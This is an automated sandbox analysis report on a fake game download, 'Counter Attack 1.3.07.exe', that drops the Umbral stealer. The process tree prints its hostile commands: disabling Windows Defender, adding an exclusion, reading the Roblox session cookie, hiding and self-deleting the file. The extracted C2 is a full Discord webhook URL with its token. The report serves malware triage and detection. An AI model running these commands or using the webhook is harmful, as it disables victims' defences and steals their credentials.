Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-01-2025 16:51

General

  • Target

    Counter Attack 1.3.07.exe

  • Size

    4.0MB

  • MD5

    768fac5fc9b1a6723ec5e88643cfa69b

  • SHA1

    ecadbe36d1526e2564eda430956b23d41b08e41a

  • SHA256

    98d6a942ccc041bb0534b401fef09d82b4d2a4690673c325217457e625e6259b

  • SHA512

    e4219e87335cccf156828c9271b6e619fc2f3ad848eb3a82ddc683679efb86e4575b2c0325ede1f3a06a533cb5bbdce75bd227ff46ee309902ba7e1554411690

  • SSDEEP

    49152:NNEVtO1U1y1DDDDDD7Llngq7NNMqU0p2Vhk9aQNEVtO1U1y1DDDDDD7Llngq7NN0:NNEVJyZlng4p2VeNEVJyZlng4p2VMg

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1326955608112496710/UQehMk_daQ2YbkYBZ11umbBWXbi1b3G49GJ1zVYdBwPGpiZwYf8UJiTlt6xSrBCEwhJ_

Signatures

  • Detect Umbral payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.07.exe
    "C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.07.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.071.exe
      "C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.071.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1588
      • C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
        "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3444
    • C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
      "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4508
    • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
      "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3528
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2288
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:2716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1492
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4316
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3472
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1260
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1788
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:4724
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:2460
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2992
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:4012
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4056
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:552

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        276798eeb29a49dc6e199768bc9c2e71

        SHA1

        5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

        SHA256

        cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

        SHA512

        0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        cad710b7b650814f3053c0bd6161970f

        SHA1

        11d4202038ba39b7ab2a4ebf361880da74275e5e

        SHA256

        9daed50a6463e6fdf5a56d4789c6456fd7d588fbc063569a88dba1b77104712d

        SHA512

        9754b4d2d5aa6667f3a89172dc7ef911e22ff7897cc1af9a9681080a3533e26b64028e204670f6b81fbca8dd18091bc768391a38263968f267efae02d1d5dcb6

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        77d622bb1a5b250869a3238b9bc1402b

        SHA1

        d47f4003c2554b9dfc4c16f22460b331886b191b

        SHA256

        f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

        SHA512

        d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        966914e2e771de7a4a57a95b6ecfa8a9

        SHA1

        7a32282fd51dd032967ed4d9a40cc57e265aeff2

        SHA256

        98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

        SHA512

        dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

      • C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.071.exe

        Filesize

        1.9MB

        MD5

        69bead9cc091be0dffb03708ee18466c

        SHA1

        5c4940dddd513a8f75745d63f21fe53d9b22de49

        SHA256

        3e23ae22cb0d4e7ba836cc3f26ad73a51ff9c2987944f08c6120aeefc608d69b

        SHA512

        03ef8a187c7dd31979728d4a1fd544998f756df9f4af1e64d743f56ca42be648feac440246ff280cb7935cec2b5ecd500b2be69da47d6c598f3434f4c47a5f65

      • C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe

        Filesize

        1.9MB

        MD5

        ec801a7d4b72a288ec6c207bb9ff0131

        SHA1

        32eec2ae1f9e201516fa7fcdc16c4928f7997561

        SHA256

        b65f40618f584303ca0bcf9b5f88c233cc4237699c0c4bf40ba8facbe8195a46

        SHA512

        a07dd5e8241de73ce65ff8d74acef4942b85fc45cf6a7baafd3c0f9d330b08e7412f2023ba667e99b40e732a65e8fb4389f7fe73c7b6256ca71e63afe46cdcac

      • C:\Users\Admin\AppData\Local\Temp\Umbral.exe

        Filesize

        231KB

        MD5

        69ac49033ce70c49a4615c5f32d3786e

        SHA1

        e8088b02cf9c84c027854bf0a8c042764a53ee07

        SHA256

        a233572b6ff043e804d6f2b8fb8e3a076d0e6558e723ad9d2a64e8811e129605

        SHA512

        5456504e8e85afdb6a65570890440f85be458fceaf1c5831c3a5669335170ca290809d7741550377e2bb22c4e7b73828886757149158fb152d4be1a6051787a3

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zo5jndm2.xi3.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1492-51-0x0000029FD49A0000-0x0000029FD49C2000-memory.dmp

        Filesize

        136KB

      • memory/1588-38-0x0000000000400000-0x00000000005EC000-memory.dmp

        Filesize

        1.9MB

      • memory/2040-33-0x0000000000400000-0x0000000000809000-memory.dmp

        Filesize

        4.0MB

      • memory/3528-70-0x000001E4E8390000-0x000001E4E83AE000-memory.dmp

        Filesize

        120KB

      • memory/3528-36-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

        Filesize

        10.8MB

      • memory/3528-68-0x000001E4E82A0000-0x000001E4E8316000-memory.dmp

        Filesize

        472KB

      • memory/3528-69-0x000001E4E8320000-0x000001E4E8370000-memory.dmp

        Filesize

        320KB

      • memory/3528-34-0x000001E4CDB70000-0x000001E4CDBB0000-memory.dmp

        Filesize

        256KB

      • memory/3528-107-0x000001E4E7FF0000-0x000001E4E7FFA000-memory.dmp

        Filesize

        40KB

      • memory/3528-108-0x000001E4E8030000-0x000001E4E8042000-memory.dmp

        Filesize

        72KB

      • memory/3528-128-0x00007FFCA5840000-0x00007FFCA6301000-memory.dmp

        Filesize

        10.8MB

      • memory/4508-35-0x00000000001C0000-0x00000000003A6000-memory.dmp

        Filesize

        1.9MB

      • memory/4508-39-0x000000001B440000-0x000000001B452000-memory.dmp

        Filesize

        72KB

      • memory/4508-40-0x000000001BEF0000-0x000000001BF2C000-memory.dmp

        Filesize

        240KB

      • memory/4508-30-0x00007FFCA5843000-0x00007FFCA5845000-memory.dmp

        Filesize

        8KB

      • memory/4508-129-0x00007FFCA5843000-0x00007FFCA5845000-memory.dmp

        Filesize

        8KB